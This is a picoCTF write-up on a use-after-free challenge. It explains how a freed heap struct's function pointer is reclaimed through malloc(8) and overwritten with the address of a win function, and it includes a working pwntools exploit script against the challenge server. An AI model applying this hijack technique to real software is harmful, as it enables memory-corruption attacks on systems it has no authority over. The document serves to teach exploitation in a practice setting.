Description
Exploit a use-after-free vulnerability. nc mercury.picoctf.net PORT
Setup
Download the binary and analyze it.
Install pwntools: pip install pwntools
Solution
- Step 1Identify the use-after-free vulnerabilityAnalyze the binary. It allocates a user struct on the heap that contains a function pointer (whatToDo). The unsubscribe option frees this struct but does not clear the pointer -- leaving a dangling pointer. The freed chunk remains accessible through the stale pointer.# Disassemble in Ghidra or objdump:objdump -d vuln | grep -A20 '<main>'# Find the hahaexploitgobrrr (win) function address:nm vuln | grep haha
Learn more
A use-after-free (UAF) vulnerability occurs when a program continues to use a pointer after the memory it points to has been freed. The freed memory can be reclaimed by subsequent allocations of the same size. If an attacker controls what gets allocated in that memory, they can overwrite the original struct's fields -- including function pointers.
This vulnerability class is one of the most common in modern exploits (CVE databases list thousands of UAF bugs in browsers, kernels, and server software). The root cause is always the same: failing to null out pointers after free, or maintaining multiple references to the same allocation with inconsistent lifetime tracking.
- Step 2Exploit the UAF to hijack the function pointerAfter freeing the user struct, the freed chunk is placed in a tcache or fastbin. Choose the option to send a message of 8 bytes -- this triggers malloc(8) which reuses the freed chunk. Write the address of hahaexploitgobrrr (the win function) as the 8 bytes. When the program subsequently calls whatToDo, it jumps to hahaexploitgobrrr instead.python3 << 'EOF' from pwn import * elf = ELF('./vuln') win = elf.sym['hahaexploitgobrrr'] p = remote("mercury.picoctf.net", <PORT>) # Subscribe (allocates struct with function pointer) p.sendlineafter(b">", b"S") p.sendlineafter(b"name:", b"AAAA") # Unsubscribe (frees the struct -- UAF) p.sendlineafter(b">", b"U") # Send a message of size 8 (reuses freed chunk) p.sendlineafter(b">", b"I") # option that allocates 8 bytes p.sendlineafter(b"message:", p64(win)) # Trigger the function pointer call p.sendlineafter(b">", b"I") print(p.recvall().decode()) EOF
Learn more
The exploit works because malloc's free lists are LIFO: the last freed chunk of a given size is the first returned by the next malloc of that size. So freeing an 8-byte struct, then calling malloc(8) returns exactly that same memory region.
By writing
p64(win)-- the 8-byte little-endian address of the win function -- into the reclaimed memory, we overwrite thewhatToDofunction pointer field of the original struct. The next call through that function pointer jumps tohahaexploitgobrrr, which prints the flag.pwntools is the standard Python library for binary exploitation.
ELF('./vuln')parses the binary and provides symbol lookup.p64()packs a 64-bit integer in little-endian format.sendlineafter()waits for a prompt before sending input.
Flag
picoCTF{...}
After free(), the memory can be reclaimed by the next malloc of the same size -- writing a function address there overwrites the struct's function pointer.